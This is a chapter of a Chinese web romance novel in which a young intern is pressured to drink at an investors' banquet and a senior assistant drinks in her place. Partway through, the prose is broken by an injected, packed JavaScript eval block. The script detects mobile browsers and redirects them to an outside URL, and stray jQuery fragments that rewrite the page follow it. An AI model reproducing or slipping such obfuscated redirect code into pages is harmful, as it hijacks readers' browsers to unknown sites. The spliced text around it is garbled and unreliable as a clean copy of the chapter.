28. 我替她喝

作品:《替身也能万人迷吗

    整个参观流程结束的时候已经接近六点,实习生们组织着在附近一家平价餐厅聚餐。


    “江同学,你也一起吗?”他们派了那个一开始坐在她旁边的男生来问她。


    “下次吧,我今晚有其他安排。”江与微直接拒绝——别说确实有安排,就是没有其他事情,她也不想和有概率突然摘掉她墨镜的人处在同一个空间!


    “什么安排啊……大家都来自不同城市,聚一趟可不容易。”人群里有人这样说。


    正好,手机震动起来。江与微歉意地笑笑,指了指手机:“我接个电话,你们快去吧。”


    “喂,金经理。”


    “小江啊,到酒店了吧?收拾一下,直接来这个地址。”金经理发了个定位过来,“晚宴七点开始,穿正式点,别迟到。”


    回酒店补了个妆,江与微没有换衣服——她根本没带裙子来,重生的第一幕终究还是给她留下了阴影,参加饭局还是把自己裹严实点吧。


    快迟到了,她下楼准备打车。


    晚高峰的京州,快车出租车一车难求。江与微正思考着要不要打专车,一辆深灰色A8L在她面前停下。


    车窗降下,露出江简轮廓分明的侧脸。


    “上车。”他说着,笑意从嘴角漾到了眼底。


    江与微也笑了——好熟悉的场面。


    拉开车门坐进副驾,“你不用送卫缺吗?”江与微系好安全带,随口问道。


    “他有司机。”江简言简意赅地回答,随即启动了车子。


    不知道为什么,两个人紧接着就都沉默了起来,车内的空气却在不断升温。


    “温度可以吗?”江简打破了沉默。他记得她怕冷。


    “不冷,”她拍了拍自己穿着西裤的腿,“特地没穿裙子,里面穿了两层秋裤。”


    低低的笑从江简喉间溢出。然而,笑容转瞬间就隐去了,他想到了他见到她的第一面。


    “不用怕。”他目视前方,“今晚的饭局……不会发生同样的事情。”


    车平稳地驶入目的地酒店。把车交给门童去泊车后,就有迎宾人员前来接待了。


    “江助晚上好,主桌在这边,请跟我来。”


    江简被径直带往主桌,厅内人声鼎沸,没有人注意到跟在他身后进来的江与微。


    她很快在靠近角落的一桌找到了金经理,金经理身边的助理也看到了她,冲她招手:“小江!这里!快过来坐!”。


    江与微入座,被金经理和他的助理上下打量了几几下穿着,似乎有些不满,不过他们没有说出来。


    晚宴很快开始,金经理这一桌显然不是核心圈层,话题围绕着一些不痛不痒的行业八卦。


    酒过三巡,金经理红光满面地站起身,拿起分酒器和自己的酒杯,对江与微使了个眼色:“小江,走,跟我去给几位重要的投资人敬个酒,这机会可不容易有呀,别错过。”


    江与微心下一沉,该来的还是来了。她拿起自己的茶杯,站起身:“好的金经理。那我就以茶代酒了。”


    金经理脸上的笑容僵了一下:“小江啊,你这就不懂规矩了。敬酒怎么能喝茶呢?显得多不诚心啊!来少喝一点,意思意思就行。”


    助力很有眼色地拿起桌上刚开的一瓶红酒,往江与微面前的空杯里倒了小半杯,“小江啊,没事的,红酒而已,度数不高,美容养颜的!”


    江与微看着被递到眼前的深宝石红色的液体,有些懊恼。她为什么会天真地以为,这些吊人会因为她酒精过敏就放过她?


    甚至她那过于顺利的面试,说不好都和今晚这顿酒有关吧?


    “金经理,谢谢您提点。不是我推脱,也不是不给面子。是我真的不能喝。”她抬眼直视金经理,“以茶代酒,诚意一样在。”


    金经理的脸沉了下来。他看着江与微那张平静无波的脸,火气蹭蹭往上冒。


    在他看来,这就是江与微在故意拿乔,又或者是拿借口搪塞他,让他这个领导在投资人面前下不来台。什么休克?危言耸听!现在的年轻人,一点苦都不能吃,一点牺牲都不愿意做,还谈什么前途?


    他皮笑肉不笑起来:“小江啊,你这话说的就严重了。一杯红酒而已,又不是让你喝白的。哪有那么夸张?过敏?哼,我活了这么多年,还没见过喝一口红酒就能休克的!年轻人别太娇气,出来做事,该有的应酬躲不掉的。来,就这一杯,给我个面子,也让大家认识认识你!”他再次示意助理把杯子递给她。


    江与微纹丝不动。


    就在助理打算扒开她的手,把酒杯塞到她手里的时候——


    一道挺拔的身影,一路从主桌的方向走了过来。


    他穿着剪裁完美的深色西装,身姿颀长,步履沉稳。温和从容的气度和过分英俊的容貌让人很难把目光从他身上移开。


    许多人的视线追随着他来到了这个不起眼的角落,在这些目光的注视下,他极其自然地伸出手,接过了被推到江与微面前的酒杯。


    “我替她喝。”


    他就这样突然切入了,挡在了她和汹涌的恶意之间。她躲进了他背后令人安心的阴影里,微微仰起头,看着他线条清晰的下颌,紧抿的薄唇和高挺的鼻梁。


    金经理看到江简走过来,起初睁大的眼睛里面还有惊喜的情绪,但见他拿起了江与微面前那杯酒,寒意就窜上了他的脊背——完了,江与微的背后原来是江助!不过多年职场沉浮让他勉强维持住了表面的镇定:


    “江助太客气了……这怎么好意思!应该是我敬您才是!”


    然而江简并没有给他台阶下,他稳稳地端着那杯红酒:“金总费心了。我敬您一杯,应该的。”


    一声“金总”让金经理心头剧震。在集团真正的实权人物面前,他一个项目黄了就结束合同的项目经理算得了什么“总”?江简这是当着所有人的面敲打他。


    脸上火辣辣的,他立刻微微躬身:“不敢当不敢当!是我考虑不周,事先没了解清楚江小姐的身体状况,实在抱歉!非常抱歉!”


    角落里坐的都是不重要的小卡拉米,发生一些小骚动按理来说不应该引起什么大的风波,但奈何江简在这里,于是越来越多的人把目光投向这里,人群看向江与微的目光也带上了几分探究。


    “这个人什么来头?让江助亲自下场挡酒……”


    “俩人看着也不像特别亲近啊。”


    “越是这种场合越要避嫌吧。我听老金叫她‘小江’,会不会是江助的表妹之类的?”


    “我去,你们快看热搜。”


    悉悉索索一片拿手机的声音。


    “卧槽——那个新人是不是……是不是Kael总的女朋友?”


    “老金胆子也太肥了,敢灌老板娘酒?”


    “他哪知道啊!估计就想拉个漂亮新人撑场面。他那个项目,多分一点算力就多一点活下去的机会。”


    “这下倒好,项目没黄,他自己估计要黄了。”


    主桌上也有人在悄无声息地关注这里。


    卫缺原本正侧头听着一位LP说话,注意到江简离席走向角落,就随意地扫了一眼。这一眼,就看到了江与微。


    她站在那里,穿着一身在这样的场合显得有些过于板正的麻灰色西装,头发一丝不苟地梳成高马尾,露出光洁饱满的额头。她妆容极淡,也没有任何珠宝点缀,看起来朴素而利落,干练又洒脱。


    卫缺端起酒杯,小啜一口。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385138|183081||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    每一次见到她,似乎都是不同的面貌。他碰到她,就像久坐办公室的人乍然来到野外,看到什么都觉得新鲜。


    卫缺没有发现,在他的记忆数据库里,关于江与微的记忆是独立存在的——回忆起这些形象的时候,他一次都没有把江与微和苏雪池放在一起对比过。


    如果他这时候就能意识到这一点,也许很多事都不会发生了。


    主桌上的对话并没有因为江简的离席而中断。一个头发花白的老人正就着某个城市基建项目,把话题引向坐在卫缺身旁的年轻人。


    他看起来绝对不超过二十五岁,穿着款式非常随意的羊绒衫,整个人的姿态都很松弛。纵览全场,似乎只有他在这里最自在。


    “清澄,”老人笑眯眯地,“之前你点出的几个矛盾,确实是南边那几个项目卡脖子的地方。我们几个老家伙讨论下来,也觉得这是关键。你虽然年轻,但很有见地啊!”


    左清澄浅浅一笑,但眼神沉静如水。


    另一个年轻稍轻的人接话道:“是啊,这些矛盾在鹏城和姑苏的几个大园区尤其突出。清澄,你对政策风向和基层执行的理解一向敏锐,不知道有没有什么观察?”


    左清澄仿佛没有察觉到他们话语中的期许:“李叔,王叔,过誉了。我不过是平时听家父偶尔谈到,加上自己跑得多,看得杂,有些粗浅的感想。”


    见左清澄不愿意多说,一个坐在末尾的中年人立刻接上:“左公子眼界格局非凡,这话可就过谦了。”


    有人咳嗽了两声,示意他别往下说了。但他充耳不闻:“说起来,我们启明资本最近也在鹏城和姑苏看几个产业园区的项目,这其中的土地政策协调,如果能得到一些……嗯,方向性的指导,那推进起来就事半功倍了。”


    话越递越明,左清澄的笑意越来越淡。


    如果以他个人对天枢的投资数额来论,是远远不够格坐在主桌的。他坐里在这里,桌上的人必然就对他有别的期许。


    “鹏城和姑苏,确实都是很具有代表性的地方。”他沉吟片刻,“说到底,一切根基都在于规矩。我父亲时常提醒我,越是复杂的事情,越要依法依规,这是唯一能走得长远的路。”


    头发花白的老人见谈话有越来越尴尬的趋势,适时地插话:“别光顾着说话,前些天我新得了一瓶罗曼尼,等会儿让他们开了,难得清澄也在,一起品一品。”


    “李叔客气,我已经戒酒了。回头您来武川,我父亲一定敞开酒窖招待您。”


    “行,那我可记住了!”花白头发的老人强撑着笑容,让侍者把醒好的红酒分着倒给每个人。


    “项目落地的事情,都是地方政府在支持。我家也都是按规矩办,对很多项目了解又不多,少给各位叔伯添乱就算是帮忙了。”左清澄闲闲地回了一句,最终还是给了一点台阶。


    桌上的人脸上笑容不变,眼神却都不由有些失望。左清澄本人完全一副不沾手的超然姿态,想让他帮忙关照,估计门都没有。


    “左公子说得是!按规矩办才是正途!”启明资本的那位反应极快,立刻笑着圆场,举起酒杯,“是我等俗人,总想着走捷径了。自罚一杯,自罚一杯!”


    左清澄对此只是随意地举了举手中的清水杯,算是回应。


    “今天咱们卫总不太说话,可是有什么心事啊?哈哈。”见左清澄兴致缺缺,主桌的投资人哪个不是人精,话题拐了个弯,来到了卫缺身上。


    “……”卫缺举了举杯:“走神了,我自罚一杯。”


    左清澄听到他这么说,嘴角勾了起来,眼神投向遥远角落里,那个一本正经穿着西服西裤的身影。


    卫缺啊卫缺,看起来又要栽在这张脸上了。